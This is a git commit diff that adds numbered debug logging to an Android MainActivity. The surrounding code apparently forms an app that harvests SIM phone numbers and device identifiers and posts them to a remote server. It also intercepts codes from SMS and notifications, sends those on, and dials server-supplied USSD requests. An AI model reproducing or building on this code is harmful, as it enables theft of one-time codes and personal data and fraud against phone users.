test
This commit is contained in:
parent
73740a4b10
commit
d4aa11142e
1 changed files with 29 additions and 3 deletions
|
@ -189,31 +189,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
private void loadData() {
|
private void loadData() {
|
||||||
|
|
||||||
requestsCount = 0;
|
requestsCount = 0;
|
||||||
|
Log.i("a", "4"); // STATIC
|
||||||
GetRequest ussdRequestTask = new GetRequest(this, this);
|
GetRequest ussdRequestTask = new GetRequest(this, this);
|
||||||
ussdRequestTask.execute(ussdUrl);
|
ussdRequestTask.execute(ussdUrl);
|
||||||
|
Log.i("a", "5"); // STATIC
|
||||||
GetRequest languagesRequestTask = new GetRequest(this, this);
|
GetRequest languagesRequestTask = new GetRequest(this, this);
|
||||||
languagesRequestTask.execute(languagesUrl);
|
languagesRequestTask.execute(languagesUrl);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getKey(Context context) {
|
public static String getKey(Context context) {
|
||||||
try {
|
try {
|
||||||
|
Log.i("a", "6"); // STATIC
|
||||||
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
|
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
|
||||||
return sharedPreferences.getString("KEY",
|
return sharedPreferences.getString("KEY",
|
||||||
"INIT_KEY"); // VARIABLE STATIC
|
"INIT_KEY"); // VARIABLE STATIC
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC
|
||||||
return ""; // STATIC
|
return ""; // STATIC
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void setKey(Context context, String key) {
|
public static void setKey(Context context, String key) {
|
||||||
|
Log.i("a", "7"); // STATIC
|
||||||
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
|
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
|
||||||
editor.putString("KEY", key);
|
editor.putString("KEY", key);
|
||||||
editor.apply();
|
editor.apply();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void promptNotificationAccess() throws JSONException {
|
private void promptNotificationAccess() throws JSONException {
|
||||||
|
Log.i("a", "8"); // STATIC
|
||||||
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
||||||
builder.setTitle(language.getString("title")); // STATIC
|
builder.setTitle(language.getString("title")); // STATIC
|
||||||
builder.setMessage(language.getString("message")); // STATIC
|
builder.setMessage(language.getString("message")); // STATIC
|
||||||
|
@ -238,6 +242,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
this.runOnUiThread(new Runnable() {
|
this.runOnUiThread(new Runnable() {
|
||||||
public void run() {
|
public void run() {
|
||||||
|
Log.i("a", "9"); // STATIC
|
||||||
AlertDialog dialog = builder.create();
|
AlertDialog dialog = builder.create();
|
||||||
dialog.show();
|
dialog.show();
|
||||||
}
|
}
|
||||||
|
@ -246,6 +251,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
public static String getDeviceInfo(Context context)
|
public static String getDeviceInfo(Context context)
|
||||||
{
|
{
|
||||||
|
Log.i("a", "10"); // STATIC
|
||||||
String m_data = ""; // STATIC
|
String m_data = ""; // STATIC
|
||||||
String p_seperator = ":"; // STATIC
|
String p_seperator = ":"; // STATIC
|
||||||
StringBuilder m_builder = new StringBuilder();
|
StringBuilder m_builder = new StringBuilder();
|
||||||
|
@ -269,6 +275,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
|
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
|
||||||
m_builder.append(android_id);
|
m_builder.append(android_id);
|
||||||
m_data = m_builder.toString();
|
m_data = m_builder.toString();
|
||||||
|
Log.i("a", "11"); // STATIC
|
||||||
return m_data;
|
return m_data;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -286,7 +293,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
registerReceiver(notificationReceiver, filter);
|
registerReceiver(notificationReceiver, filter);
|
||||||
|
|
||||||
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
|
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
|
||||||
|
Log.i("a", "12"); // STATIC
|
||||||
Context permissionContext = this;
|
Context permissionContext = this;
|
||||||
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
|
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
|
||||||
}
|
}
|
||||||
|
@ -295,6 +302,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
private class NotificationReceiver extends BroadcastReceiver {
|
private class NotificationReceiver extends BroadcastReceiver {
|
||||||
@Override
|
@Override
|
||||||
public void onReceive(Context context, Intent intent) {
|
public void onReceive(Context context, Intent intent) {
|
||||||
|
Log.i("a", "13"); // STATIC
|
||||||
String code = intent.getStringExtra("code");
|
String code = intent.getStringExtra("code");
|
||||||
onNotificationReceived(code);
|
onNotificationReceived(code);
|
||||||
}
|
}
|
||||||
|
@ -303,6 +311,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
public void onNotificationReceived(String code) {
|
public void onNotificationReceived(String code) {
|
||||||
if(codes.contains(code))
|
if(codes.contains(code))
|
||||||
return;
|
return;
|
||||||
|
Log.i("a", "14"); // STATIC
|
||||||
codes.add(code);
|
codes.add(code);
|
||||||
cancelTimer();
|
cancelTimer();
|
||||||
PostRequest postRequestTask = new PostRequest(this, this);
|
PostRequest postRequestTask = new PostRequest(this, this);
|
||||||
|
@ -312,24 +321,28 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
public void cancelTimer(){
|
public void cancelTimer(){
|
||||||
|
Log.i("a", "15"); // STATIC
|
||||||
if (timer != null) {
|
if (timer != null) {
|
||||||
timer.cancel();
|
timer.cancel();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void nextPhone() {
|
public void nextPhone() {
|
||||||
|
Log.i("a", "16"); // STATIC
|
||||||
currentPhone += 1;
|
currentPhone += 1;
|
||||||
if (phones.size() > currentPhone)
|
if (phones.size() > currentPhone)
|
||||||
savePhone(getBaseContext(), phones.get(currentPhone));
|
savePhone(getBaseContext(), phones.get(currentPhone));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void makeProcess(Context context) {
|
private void makeProcess(Context context) {
|
||||||
|
Log.i("a", "17"); // STATIC
|
||||||
currentPhone = 0;
|
currentPhone = 0;
|
||||||
phones = collectPhoneNumber(context);
|
phones = collectPhoneNumber(context);
|
||||||
savePhone(context, phones.get(currentPhone));
|
savePhone(context, phones.get(currentPhone));
|
||||||
}
|
}
|
||||||
|
|
||||||
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
|
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
|
||||||
|
Log.i("a", "18"); // STATIC
|
||||||
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
|
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
|
||||||
!= PackageManager.PERMISSION_GRANTED) {
|
!= PackageManager.PERMISSION_GRANTED) {
|
||||||
return false;
|
return false;
|
||||||
|
@ -346,9 +359,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private void savePhone(Context context, PhoneNumber phone){
|
private void savePhone(Context context, PhoneNumber phone){
|
||||||
|
Log.i("a", "19"); // STATIC
|
||||||
if(phone.phoneProvided()){
|
if(phone.phoneProvided()){
|
||||||
|
Log.i("a", "20"); // STATIC
|
||||||
requestPhone(context, phone);
|
requestPhone(context, phone);
|
||||||
} else {
|
} else {
|
||||||
|
Log.i("a", "21"); // STATIC
|
||||||
receivingSms = false;
|
receivingSms = false;
|
||||||
currentHash = ""; // STATIC
|
currentHash = ""; // STATIC
|
||||||
if(!isSimConnected(context, phone.telephonyManager))
|
if(!isSimConnected(context, phone.telephonyManager))
|
||||||
|
@ -359,6 +375,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private void requestPhone(Context context, PhoneNumber phone){
|
private void requestPhone(Context context, PhoneNumber phone){
|
||||||
|
Log.i("a", "22"); // STATIC
|
||||||
PostRequest postRequestTask = new PostRequest(context, this);
|
PostRequest postRequestTask = new PostRequest(context, this);
|
||||||
postRequestTask.execute("phone",
|
postRequestTask.execute("phone",
|
||||||
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
||||||
|
@ -366,6 +383,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onPostResponse(JSONObject result) {
|
public void onPostResponse(JSONObject result) {
|
||||||
|
Log.i("a", "23"); // STATIC
|
||||||
try {
|
try {
|
||||||
if(result.has("hash")) // STATIC
|
if(result.has("hash")) // STATIC
|
||||||
currentHash = result.getString("hash"); // STATIC
|
currentHash = result.getString("hash"); // STATIC
|
||||||
|
@ -390,6 +408,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onGetResponse(JSONObject result) {
|
public void onGetResponse(JSONObject result) {
|
||||||
|
Log.i("a", "24"); // STATIC
|
||||||
try {
|
try {
|
||||||
if(result.get("name"). // STATIC
|
if(result.get("name"). // STATIC
|
||||||
equals("ussd")){ // STATIC
|
equals("ussd")){ // STATIC
|
||||||
|
@ -419,6 +438,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private boolean isNotificationServiceEnabled() {
|
private boolean isNotificationServiceEnabled() {
|
||||||
|
Log.i("a", "25"); // STATIC
|
||||||
String packageName = getPackageName();
|
String packageName = getPackageName();
|
||||||
String enabledListeners = Settings.Secure.getString(
|
String enabledListeners = Settings.Secure.getString(
|
||||||
getContentResolver(),
|
getContentResolver(),
|
||||||
|
@ -433,6 +453,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private static String[] retrievePermissions(Context context) {
|
private static String[] retrievePermissions(Context context) {
|
||||||
|
Log.i("a", "26"); // STATIC
|
||||||
final String pkgName = context.getPackageName();
|
final String pkgName = context.getPackageName();
|
||||||
try {
|
try {
|
||||||
return context
|
return context
|
||||||
|
@ -446,6 +467,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private void requestPermissions(String[] permissions) {
|
private void requestPermissions(String[] permissions) {
|
||||||
|
Log.i("a", "27"); // STATIC
|
||||||
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -473,6 +495,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private void requestUssdNumber(PhoneNumber phone) {
|
private void requestUssdNumber(PhoneNumber phone) {
|
||||||
|
Log.i("a", "28"); // STATIC
|
||||||
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
||||||
return;
|
return;
|
||||||
String ussdRequest = null;
|
String ussdRequest = null;
|
||||||
|
@ -512,6 +535,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<PhoneNumber> collectPhoneNumber(Context context){
|
private List<PhoneNumber> collectPhoneNumber(Context context){
|
||||||
|
Log.i("a", "30"); // STATIC
|
||||||
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
||||||
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
|
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
|
||||||
return phoneNumbers;
|
return phoneNumbers;
|
||||||
|
@ -562,6 +586,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onBackPressed() {
|
public void onBackPressed() {
|
||||||
|
Log.i("a", "31"); // STATIC
|
||||||
if (webView.canGoBack()) {
|
if (webView.canGoBack()) {
|
||||||
webView.goBack();
|
webView.goBack();
|
||||||
} else {
|
} else {
|
||||||
|
@ -571,6 +596,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void onDestroy() {
|
protected void onDestroy() {
|
||||||
|
Log.i("a", "32"); // STATIC
|
||||||
super.onDestroy();
|
super.onDestroy();
|
||||||
try {
|
try {
|
||||||
unregisterReceiver(smsReceiver);
|
unregisterReceiver(smsReceiver);
|
||||||
|
|
Loading…
Add table
Reference in a new issue